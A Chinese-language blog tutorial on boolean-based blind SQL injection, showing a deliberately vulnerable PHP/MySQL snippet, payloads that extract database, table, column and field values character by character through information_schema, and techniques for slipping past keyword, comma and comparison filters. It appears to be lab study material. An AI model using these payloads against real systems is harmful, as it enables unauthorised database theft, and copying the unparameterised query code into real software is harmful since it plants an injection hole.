SQL注入利用 学习- 布尔盲注

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行“干预”。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

 实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

相关推荐

  1. SQL布尔、延迟注入和堆叠注入

    2024-04-13 21:34:04       50 阅读
  2. SQL注入:时间

    2024-04-13 21:34:04       27 阅读
  3. 布尔+时间+堆叠注入

    2024-04-13 21:34:04       46 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-13 21:34:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-13 21:34:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-13 21:34:04       82 阅读
  4. Python语言-面向对象

    2024-04-13 21:34:04       91 阅读

热门阅读

  1. c++ std::vector介绍

    2024-04-13 21:34:04       43 阅读
  2. docker和宿主机的关系

    2024-04-13 21:34:04       30 阅读
  3. MySQL Ruler mysql 日常开发规范

    2024-04-13 21:34:04       35 阅读
  4. GitHub绑定SSH

    2024-04-13 21:34:04       34 阅读
  5. 依靠ChatGPT打磨优质学术论文的步骤

    2024-04-13 21:34:04       30 阅读
  6. C#:foreach循环

    2024-04-13 21:34:04       38 阅读
  7. vue启动遇到的问题记录

    2024-04-13 21:34:04       41 阅读
  8. WebKit 入门介绍

    2024-04-13 21:34:04       37 阅读
  9. 重发布和路由策略

    2024-04-13 21:34:04       38 阅读
  10. python内置库_pathlib学习笔记

    2024-04-13 21:34:04       78 阅读